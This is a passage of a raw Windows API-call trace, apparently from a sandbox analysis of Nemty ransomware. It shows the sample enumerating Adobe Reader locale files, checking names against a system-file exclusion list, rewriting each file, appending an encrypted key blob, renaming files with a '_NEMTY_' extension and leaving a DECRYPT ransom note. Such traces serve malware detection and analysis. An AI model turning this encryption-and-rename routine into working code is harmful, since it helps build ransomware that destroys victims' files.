[0185.190] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0185.190] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0185.190] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.190] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\Updater.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\updater.tur"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\Updater.TUR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\updater.tur._nemty_kgobjgd_")) returned 1 [0185.190] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0185.190] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0185.190] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0185.190] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0185.190] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0185.190] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0185.191] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.191] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0185.191] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x830ff2a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Weblink.TUR", cAlternateFileName="")) returned 1 [0185.191] lstrcmpiW (lpString1="Weblink.TUR", lpString2=".") returned 1 [0185.191] lstrcmpiW (lpString1="Weblink.TUR", lpString2="..") returned 1 [0185.191] lstrcmpiW (lpString1="Weblink.TUR", lpString2="...") returned 1 [0185.191] lstrcmpiW (lpString1="Weblink.TUR", lpString2="windows") returned -1 [0185.191] lstrcmpiW (lpString1="Weblink.TUR", lpString2="$RECYCLE.BIN") returned 1 [0185.191] lstrcmpiW (lpString1="Weblink.TUR", lpString2="rsa") returned 1 [0185.191] lstrcmpiW (lpString1="Weblink.TUR", lpString2="NTDETECT.COM") returned 1 [0185.191] lstrcmpiW (lpString1="Weblink.TUR", lpString2="ntldr") returned 1 [0185.191] lstrcmpiW (lpString1="Weblink.TUR", lpString2="MSDOS.SYS") returned 1 [0185.191] lstrcmpiW (lpString1="Weblink.TUR", lpString2="IO.SYS") returned 1 [0185.191] lstrcmpiW (lpString1="Weblink.TUR", lpString2="boot.ini") returned 1 [0185.191] lstrcmpiW (lpString1="Weblink.TUR", lpString2="boot.ini") returned 1 [0185.191] lstrcmpiW (lpString1="Weblink.TUR", lpString2="AUTOEXEC.BAT") returned 1 [0185.191] lstrcmpiW (lpString1="Weblink.TUR", lpString2="ntuser.dat") returned 1 [0185.191] lstrcmpiW (lpString1="Weblink.TUR", lpString2="desktop.ini") returned 1 [0185.191] lstrcmpiW (lpString1="Weblink.TUR", lpString2="CONFIG.SYS") returned 1 [0185.191] lstrcmpiW (lpString1="Weblink.TUR", lpString2="RECYCLER") returned 1 [0185.191] lstrcmpiW (lpString1="Weblink.TUR", lpString2="BOOTSECT.BAK") returned 1 [0185.191] lstrcmpiW (lpString1="Weblink.TUR", lpString2="bootmgr") returned 1 [0185.191] lstrcmpiW (lpString1="Weblink.TUR", lpString2="programdata") returned 1 [0185.191] lstrcmpiW (lpString1="Weblink.TUR", lpString2="appdata") returned 1 [0185.191] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.191] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.TUR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0185.191] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.TUR", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Weblink.TUR", lpUsedDefaultChar=0x0) returned 11 [0185.191] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.191] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.TUR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0185.191] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.TUR", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Weblink.TUR", lpUsedDefaultChar=0x0) returned 11 [0185.191] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.191] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.191] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.192] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.TUR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0185.192] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.TUR", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Weblink.TUR", lpUsedDefaultChar=0x0) returned 11 [0185.192] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.192] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.192] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.TUR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0185.192] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.TUR", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Weblink.TUR", lpUsedDefaultChar=0x0) returned 11 [0185.192] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.192] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0185.192] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0185.192] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0185.192] Sleep (dwMilliseconds=0x5) [0185.201] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x220908b0, dwHighDateTime=0x1d561e8)) [0185.201] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x220908b0, dwHighDateTime=0x1d561e8)) [0185.201] GetLastError () returned 0x0 [0185.201] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0185.201] GetLastError () returned 0x0 [0185.201] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.201] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0185.201] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.201] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0185.201] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0185.201] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0185.202] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0185.202] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="KoUe5QnHL4iaTd6lsrEnJvCFcR1A0buS+tcPVAsqFbXWuMCUodWCiGgD3qLvd6ej\r\nTSVEscVjQSr+gl6va5BBPRKGx/fOPTM9CLP/7riSCoA5NFtL1D1HrcbvclvYImpU\r\nGfn78y3PnN2qdXeE0pqGo4KMc2yDtUauQoW7swav7FO4Z8RcL0YBAAEsRPrcK3y/\r\nLjysqHJhTeDIhFRTwGf4lGOOuiMgSiy89/1ImxBSuZCTC37lxcycM9Kg1yQvCNWE\r\nh9wou02o9hUX1n/WSjQ1vtdQTfe5q40tvnhYheYrFDLCZsiiFM73CTLYu3V6Y2yF\r\nzdRsw5vPL1hTc5RZ+jgevg==\r\n", pcchString=0x653e5dc) returned 1 [0185.202] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0185.202] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0185.202] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.202] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0185.202] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0185.202] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0185.202] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\Weblink.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\weblink.tur"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0185.202] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=27648) returned 1 [0185.202] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6c00) returned 0x6352c48 [0185.202] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.202] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6c00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6c00, lpOverlapped=0x0) returned 1 [0185.205] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.205] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6c00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6c00, lpOverlapped=0x0) returned 1 [0185.206] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0185.206] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=27648, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6c00 [0185.206] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0185.206] CloseHandle (hObject=0x2e8) returned 1 [0185.206] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0185.206] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0185.206] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.206] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0185.206] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.206] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.206] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0185.206] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0185.206] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0185.206] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.206] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\Weblink.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\weblink.tur"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\Weblink.TUR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\weblink.tur._nemty_kgobjgd_")) returned 1 [0185.207] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0185.207] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0185.207] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0185.207] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0185.207] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0185.207] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0185.207] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.207] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0185.207] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21c8c390, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x21c8c390, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x21c8c390, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0185.207] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0185.207] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0185.207] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0185.207] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0185.207] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0185.207] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0185.207] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0185.207] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0185.207] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0185.207] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0185.207] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0185.207] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0185.207] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0185.207] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0185.207] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0185.207] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0185.207] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0185.207] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0185.207] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0185.207] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0185.207] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0185.207] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0185.207] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0185.207] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.208] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0185.208] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.208] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0185.208] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0185.208] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.208] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0185.208] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.208] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0185.208] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0185.208] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0185.208] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0185.208] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.208] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0185.208] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0185.208] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0185.208] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0185.208] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.208] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0185.208] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0185.208] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340048 [0185.208] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0185.208] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.208] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.208] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21c8c390, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x21c8c390, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x21c8c390, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0185.208] FindClose (in: hFindFile=0x3423ab0 | out: hFindFile=0x3423ab0) returned 1 [0185.208] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0185.208] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0185.208] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0185.208] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d795840, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832a21c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832a21c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="uk_UA", cAlternateFileName="")) returned 1 [0185.208] lstrcmpiW (lpString1="uk_UA", lpString2=".") returned 1 [0185.208] lstrcmpiW (lpString1="uk_UA", lpString2="..") returned 1 [0185.209] lstrcmpiW (lpString1="uk_UA", lpString2="...") returned 1 [0185.209] lstrcmpiW (lpString1="uk_UA", lpString2="windows") returned -1 [0185.209] lstrcmpiW (lpString1="uk_UA", lpString2="$RECYCLE.BIN") returned 1 [0185.209] lstrcmpiW (lpString1="uk_UA", lpString2="rsa") returned 1 [0185.209] lstrcmpiW (lpString1="uk_UA", lpString2="NTDETECT.COM") returned 1 [0185.209] lstrcmpiW (lpString1="uk_UA", lpString2="ntldr") returned 1 [0185.209] lstrcmpiW (lpString1="uk_UA", lpString2="MSDOS.SYS") returned 1 [0185.209] lstrcmpiW (lpString1="uk_UA", lpString2="IO.SYS") returned 1 [0185.209] lstrcmpiW (lpString1="uk_UA", lpString2="boot.ini") returned 1 [0185.209] lstrcmpiW (lpString1="uk_UA", lpString2="boot.ini") returned 1 [0185.209] lstrcmpiW (lpString1="uk_UA", lpString2="AUTOEXEC.BAT") returned 1 [0185.209] lstrcmpiW (lpString1="uk_UA", lpString2="ntuser.dat") returned 1 [0185.209] lstrcmpiW (lpString1="uk_UA", lpString2="desktop.ini") returned 1 [0185.209] lstrcmpiW (lpString1="uk_UA", lpString2="CONFIG.SYS") returned 1 [0185.209] lstrcmpiW (lpString1="uk_UA", lpString2="RECYCLER") returned 1 [0185.209] lstrcmpiW (lpString1="uk_UA", lpString2="BOOTSECT.BAK") returned 1 [0185.209] lstrcmpiW (lpString1="uk_UA", lpString2="bootmgr") returned 1 [0185.209] lstrcmpiW (lpString1="uk_UA", lpString2="programdata") returned 1 [0185.209] lstrcmpiW (lpString1="uk_UA", lpString2="appdata") returned 1 [0185.209] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="uk_UA", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, 